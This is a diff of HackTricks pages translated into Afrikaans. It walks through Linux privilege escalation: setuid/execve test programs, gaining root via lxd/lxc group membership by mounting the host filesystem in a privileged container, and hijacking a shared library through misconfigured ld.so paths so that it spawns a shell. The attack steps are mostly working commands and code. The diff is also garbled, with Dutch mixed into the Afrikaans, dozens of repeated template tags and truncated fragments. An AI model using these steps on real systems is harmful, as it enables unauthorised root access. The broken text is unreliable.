* `bash`, sonder `-p`, pas `euid` aan om ooreen te stem met `ruid`, wat beteken dat beide 99 (niemand) is.
|
||||
* `ruid` en `euid` begin as 99 (nobody) en 1000 (frank) onderskeidelik.
|
||||
* `setuid` stel albei op 1000.
|
||||
* `system` voer `/bin/bash -c id` uit as gevolg van die symlink van sh na bash.
|
||||
* `bash`, sonder `-p`, pas `euid` aan om `ruid` te ooreenstem, wat daartoe lei dat albei 99 (nobody) is.
|
||||
|
||||
#### Geval 2: Gebruik van setreuid met system
|
||||
#### Geval 2: Gebruik setreuid met system
|
||||
|
||||
**C-kode**:
|
||||
**C Kode**:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -131,27 +114,7 @@ system("id");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**Samelewing en Toestemmings:**
|
||||
|
||||
Wanneer jy 'n program op Linux samestel, word 'n uitvoerbare lêer geskep wat die program se kode bevat. Hierdie uitvoerbare lêer het spesifieke toestemmings wat bepaal wie die program kan uitvoer, wysig of lees.
|
||||
|
||||
Die toestemmings van 'n lêer kan gesien word deur die `ls -l` opdrag uit te voer. Die uitset sal iets soos die volgende wees:
|
||||
|
||||
```
|
||||
-rwxr-xr-x 1 user group 12345 Jan 1 00:00 program
|
||||
```
|
||||
|
||||
Die eerste karakter in die uitset (`-` in hierdie geval) dui aan dat dit 'n lêer is. As dit 'n `d` was, sou dit 'n gids wees. Die volgende drie karakters (`rwx`) dui die toestemmings van die eienaar van die lêer aan, die volgende drie karakters (`r-x`) dui die toestemmings van die groep aan, en die laaste drie karakters (`r-x`) dui die toestemmings van ander gebruikers aan.
|
||||
|
||||
Elke karakter in die toestemmingsreeks verteenwoordig 'n spesifieke toestemming:
|
||||
|
||||
- `r` dui aan dat die lêer gelees kan word.
|
||||
- `w` dui aan dat die lêer gewysig kan word.
|
||||
- `x` dui aan dat die lêer uitgevoer kan word.
|
||||
|
||||
Om die toestemmings van 'n lêer te verander, kan die `chmod` opdrag gebruik word. Byvoorbeeld, `chmod +x program` sal die uitvoerbare toestemming aan die lêer toevoeg.
|
||||
|
||||
Dit is belangrik om die toestemmings van jou lêers korrek te konfigureer om die veiligheid van jou Linux-stelsel te verseker.
|
||||
**Kompilering en Toestemmings:**
|
||||
```bash
|
||||
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
|
||||
```
|
||||
|
@ -160,13 +123,13 @@ oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
|
|||
bash-4.2$ $ ./b
|
||||
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Ontleding:**
|
||||
**Analise:**
|
||||
|
||||
* `setreuid` stel beide ruid en euid in op 1000.
|
||||
* `system` roep bash aan, wat de gebruikers-ID's behoudt vanwege hun gelijkheid, waardoor het effectief werkt als frank.
|
||||
* `setreuid` stel beide ruid en euid op 1000 in.
|
||||
* `system` roep bash aan, wat die gebruikers-ID's behou weens hul gelykheid, wat effektief as frank werk.
|
||||
|
||||
#### Geval 3: Gebruik van setuid met execve
|
||||
Doel: Verkenning van de interactie tussen setuid en execve.
|
||||
Doel: Om die interaksie tussen setuid en execve te verken.
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -183,11 +146,11 @@ return 0;
|
|||
bash-4.2$ $ ./c
|
||||
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Ontleding:**
|
||||
**Analise:**
|
||||
|
||||
* `ruid` bly 99, maar `euid` word ingestel op 1000, in lyn met die effek van `setuid`.
|
||||
* `ruid` bly 99, maar euid is op 1000 gestel, in ooreenstemming met setuid se effek.
|
||||
|
||||
**C-kode-voorbeeld 2 (Bash aanroep):**
|
||||
**C Kode Voorbeeld 2 (Bash Aanroep):**
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -205,11 +168,11 @@ bash-4.2$ $ ./d
|
|||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**Ontleding:**
|
||||
**Analise:**
|
||||
|
||||
* Alhoewel `euid` deur `setuid` na 1000 ingestel word, stel `bash` `euid` terug na `ruid` (99) as gevolg van die afwesigheid van `-p`.
|
||||
* Alhoewel `euid` op 1000 gestel is deur `setuid`, stel `bash` euid terug na `ruid` (99) weens die afwesigheid van `-p`.
|
||||
|
||||
**C-kode-voorbeeld 3 (Met behulp van bash -p):**
|
||||
**C Kode Voorbeeld 3 (Gebruik bash -p):**
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -232,14 +195,17 @@ uid=99(nobody) gid=99(nobody) euid=100
|
|||
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,49 @@
|
|||
# lxd/lxc Groep - Voorregverhoging
|
||||
# lxd/lxc Groep - Privilege escalasie
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
As jy behoort tot die _**lxd**_ **of** _**lxc**_ **groep**, kan jy root word
|
||||
As jy tot die _**lxd**_ **of** _**lxc**_ **groep** behoort, kan jy root word
|
||||
|
||||
## Uitbuiting sonder internet
|
||||
## Exploiteer sonder internet
|
||||
|
||||
### Metode 1
|
||||
|
||||
Jy kan hierdie distro-bouer installeer op jou rekenaar: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(volg die instruksies op die github):
|
||||
Jy kan hierdie distro bouer op jou masjien installeer: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(volg die instruksies van die github):
|
||||
```bash
|
||||
sudo su
|
||||
#Install requirements
|
||||
|
@ -38,7 +61,7 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|||
#Create the container
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
```
|
||||
Laai die lêers **lxd.tar.xz** en **rootfs.squashfs** op, voeg die prent by die repo en skep 'n houer:
|
||||
Upload die lêers **lxd.tar.xz** en **rootfs.squashfs**, voeg die beeld by die repo en skep 'n houer:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
|
||||
|
@ -54,8 +77,8 @@ lxc list
|
|||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
As jy hierdie fout vind _**Fout: Geen stoorpoel gevind nie. Skep asseblief 'n nuwe stoorpoel**_\
|
||||
Voer **`lxd init`** uit en **herhaal** die vorige stuk bevele
|
||||
As jy hierdie fout _**Fout: Geen stoorpoel gevind nie. Skep asseblief 'n nuwe stoorpoel**_\
|
||||
Voer **`lxd init`** uit en **herhaal** die vorige stel opdragte
|
||||
{% endhint %}
|
||||
|
||||
Uiteindelik kan jy die houer uitvoer en root kry:
|
||||
|
@ -66,7 +89,7 @@ lxc exec privesc /bin/sh
|
|||
```
|
||||
### Metode 2
|
||||
|
||||
Bou 'n Alpine-beeld en begin dit met die vlag `security.privileged=true`, wat die houer dwing om as root met die gasheer se lêersisteem te kommunikeer.
|
||||
Bou 'n Alpine-beeld en begin dit met die vlag `security.privileged=true`, wat die houer dwing om as root met die gasheer lêerstelsel te kommunikeer.
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
|
@ -86,37 +109,65 @@ lxc init myimage mycontainer -c security.privileged=true
|
|||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
|
||||
# interact with the container
|
||||
lxc start mycontainer
|
||||
lxc exec mycontainer /bin/sh
|
||||
```
|
||||
Alternatiewelik [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
|
||||
|
||||
## Met internet
|
||||
|
||||
Jy kan [hierdie instruksies](https://reboare.github.io/lxd/lxd-escape.html) volg.
|
||||
```bash
|
||||
lxc init ubuntu:16.04 test -c security.privileged=true
|
||||
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
||||
lxc start test
|
||||
lxc exec test bash
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
|
||||
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,34 @@
|
|||
# ld.so privesc exploit example
|
||||
# ld.so privesc exploit voorbeeld
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks in PDF wilt downloaden**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Bereid de omgeving voor
|
||||
## Berei die omgewing voor
|
||||
|
||||
In de volgende sectie vind je de code van de bestanden die we gaan gebruiken om de omgeving voor te bereiden
|
||||
In die volgende afdeling kan jy die kode van die lêers vind wat ons gaan gebruik om die omgewing voor te berei
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include "libcustom.h"
|
||||
|
@ -28,42 +39,17 @@ vuln_func();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
Hierdie lêer definieer die funksies en strukture vir die `libcustom` biblioteek.
|
||||
|
||||
```c
|
||||
#ifndef LIBCUSTOM_H
|
||||
#define LIBCUSTOM_H
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
// Funksie om 'n boodskap na die skerm te druk
|
||||
void print_message(const char* message);
|
||||
|
||||
// Funksie om twee getalle op te tel
|
||||
int add_numbers(int a, int b);
|
||||
|
||||
#endif /* LIBCUSTOM_H */
|
||||
```
|
||||
|
||||
{% tab title="libcustom.h" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
Hier is 'n voorbeeld van 'n eenvoudige C-program wat 'n aangepaste biblioteek, libcustom.so, gebruik:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void custom_function() {
|
||||
printf("Hierdie is 'n aangepaste funksie in die libcustom.so biblioteek.\n");
|
||||
}
|
||||
```
|
||||
|
||||
Hierdie program bevat 'n enkele funksie, `custom_function()`, wat 'n eenvoudige boodskap na die uitvoer skryf. Hierdie funksie sal gebruik word in die volgende voorbeeld om die priviligie-escalasie te demonstreer.
|
||||
|
||||
{% tab title="libcustom.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -72,20 +58,17 @@ void vuln_func()
|
|||
puts("Hi");
|
||||
}
|
||||
```
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Afrikaans" %}
|
||||
1. **Skep** daardie lêers op jou rekenaar in dieselfde vouer
|
||||
2. **Kompileer** die **biblioteek**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **Kopieer** `libcustom.so` na `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
|
||||
4. **Kompileer** die **uitvoerbare lêer**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
#### Kontroleer die omgewing
|
||||
|
||||
Kontroleer dat _libcustom.so_ vanaf _/usr/lib_ **gelaai** word en dat jy die binêre lêer kan **uitvoer**.
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
1. **Skep** daardie lêers op jou masjien in dieselfde gids
|
||||
2. **Kompileer** die **biblioteek**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **Kopieer** `libcustom.so` na `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
|
||||
4. **Kompileer** die **uitvoerbare**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### Kontroleer die omgewing
|
||||
|
||||
Kontroleer dat _libcustom.so_ vanaf _/usr/lib_ **gelaai** word en dat jy die binêre kan **uitvoer**.
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
|
@ -97,18 +80,14 @@ $ ./sharedvuln
|
|||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
## Exploit
|
||||
|
||||
## Uitbuiting
|
||||
|
||||
In hierdie scenario gaan ons aanneem dat **iemand 'n kwesbare inskrywing geskep het** binne 'n lêer in _/etc/ld.so.conf/_:
|
||||
|
||||
In hierdie scenario gaan ons veronderstel dat **iemand 'n kwesbare invoer geskep het** binne 'n lêer in _/etc/ld.so.conf/_:
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
|
||||
Die kwesbare gids is _/home/ubuntu/lib_ (waar ons skryftoegang het).\
|
||||
**Laai die volgende kode af en stel dit saam** binne daardie pad:
|
||||
|
||||
Die kwesbare gids is _/home/ubuntu/lib_ (waar ons skrywe toegang het).\
|
||||
**Laai en kompileer** die volgende kode binne daardie pad:
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
|
@ -123,11 +102,9 @@ printf("I'm the bad library\n");
|
|||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
Nou dat ons die **kwaadwillige libcustom biblioteek binne die verkeerd geconfigureerde** pad geskep het, moet ons wag vir 'n **herlaai** of vir die root gebruiker om **`ldconfig`** uit te voer (_in die geval dat jy hierdie binaire as **sudo** kan uitvoer of dit die **suid bit** het, sal jy dit self kan uitvoer_).
|
||||
|
||||
Nou dat ons die kwaadwillige libcustom-biblioteek binne die verkeerd gekonfigureerde pad geskep het, moet ons wag vir 'n herlaai of vir die root-gebruiker om `ldconfig` uit te voer (as jy hierdie binêre lêer as `sudo` kan uitvoer of as dit die `suid-bit` het, sal jy dit self kan uitvoer).
|
||||
|
||||
Sodra dit gebeur het, **herkontroleer** waar die `sharevuln` uitvoerbare lêer die `libcustom.so`-biblioteek laai vanaf:
|
||||
|
||||
Sodra dit gebeur het, **herkontroleer** waar die `sharevuln` uitvoerbare lêer die `libcustom.so` biblioteek laai vanaf:
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
|
@ -135,9 +112,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
|||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
|
||||
Soos u kan sien, laai dit dit vanaf `/home/ubuntu/lib` en as enige gebruiker dit uitvoer, sal 'n skulp uitgevoer word:
|
||||
|
||||
Soos jy kan sien, **laai dit dit vanaf `/home/ubuntu/lib`** en as enige gebruiker dit uitvoer, sal 'n shell uitgevoer word:
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
|
@ -145,31 +120,27 @@ I'm the bad library
|
|||
$ whoami
|
||||
ubuntu
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Let wel dat ons in hierdie voorbeeld nie voorregte verhoog het nie, maar deur die opdragte wat uitgevoer word te wysig en **te wag vir die root- of ander bevoorregte gebruiker om die kwesbare binêre lêer uit te voer**, sal ons in staat wees om voorregte te verhoog.
|
||||
Let daarop dat ons in hierdie voorbeeld nie privilige verhoog het nie, maar deur die opdragte wat uitgevoer word te verander en **te wag vir root of 'n ander bevoorregte gebruiker om die kwesbare binêre uit te voer** sal ons in staat wees om privilige te verhoog.
|
||||
{% endhint %}
|
||||
|
||||
### Ander verkeerde konfigurasies - Dieselfde kwesbaarheid
|
||||
### Ander miskonfigurasies - Dieselfde kwesbaarheid
|
||||
|
||||
In die vorige voorbeeld het ons 'n verkeerde konfigurasie vervals waar 'n administrateur **'n nie-bevoorregte vouer binne 'n konfigurasie-lêer binne `/etc/ld.so.conf.d/`** ingestel het.\
|
||||
Maar daar is ander verkeerde konfigurasies wat dieselfde kwesbaarheid kan veroorsaak, as jy **skryfregte** het in 'n **konfigurasie-lêer** binne `/etc/ld.so.conf.d`, in die vouer `/etc/ld.so.conf.d` of in die lêer `/etc/ld.so.conf`, kan jy dieselfde kwesbaarheid konfigureer en uitbuit.
|
||||
In die vorige voorbeeld het ons 'n miskonfigurasie gefak waar 'n administrateur **'n nie-bevoorregte gids binne 'n konfigurasie-lêer binne `/etc/ld.so.conf.d/`** gestel het.\
|
||||
Maar daar is ander miskonfigurasies wat dieselfde kwesbaarheid kan veroorsaak, as jy **skryfregte** in 'n **konfigurasie-lêer** binne `/etc/ld.so.conf.d`, in die gids `/etc/ld.so.conf.d` of in die lêer `/etc/ld.so.conf` het, kan jy dieselfde kwesbaarheid konfigureer en dit benut.
|
||||
|
||||
## Uitbuiting 2
|
||||
|
||||
**Stel dat jy sudo-voorregte het oor `ldconfig`**.\
|
||||
Jy kan `ldconfig` aandui **waar om die konf-lêers vanaf te laai**, sodat ons dit kan benut om `ldconfig` willekeurige vouers te laat laai.\
|
||||
So, laat ons die lêers en vouers skep wat nodig is om "/tmp" te laai:
|
||||
## Exploit 2
|
||||
|
||||
**Neem aan jy het sudo privilige oor `ldconfig`**.\
|
||||
Jy kan aan dui `ldconfig` **waar om die konfigurasie-lêers van te laai**, so ons kan dit benut om `ldconfig` te laat laai willekeurige gidse.\
|
||||
So, kom ons skep die lêers en gidse wat nodig is om "/tmp" te laai:
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
|
||||
Nou, soos aangedui in die **vorige uitbuit**, **skep die skadelike biblioteek binne `/tmp`**.\
|
||||
En uiteindelik, laai die pad en kyk waar die binêre lading die biblioteek vandaan:
|
||||
|
||||
Nou, soos aangedui in die **vorige uitbuiting**, **skep die kwaadwillige biblioteek binne `/tmp`**.\
|
||||
